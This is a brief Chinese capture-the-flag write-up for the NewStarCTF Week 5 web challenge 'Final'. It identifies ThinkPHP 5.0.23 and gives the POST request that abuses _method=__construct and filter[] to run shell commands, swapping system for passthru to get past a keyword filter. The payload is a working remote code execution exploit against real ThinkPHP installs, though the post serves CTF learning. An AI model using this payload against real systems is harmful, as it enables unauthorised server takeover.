NewStarCTF WEEK5|WEB Final

image

胡乱输一些东西得到版本5.0.23

get:
/index.php?s=captch
post:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
但是system被过滤了我们可以用passthru代替
get:
/index.php?s=captch
post:
_method=__construct&filter[]=passthru&method=get&server[REQUEST_METHOD]=ls /
posted @ 2024-08-02 15:17  DGhh  阅读(9)  评论(0编辑  收藏  举报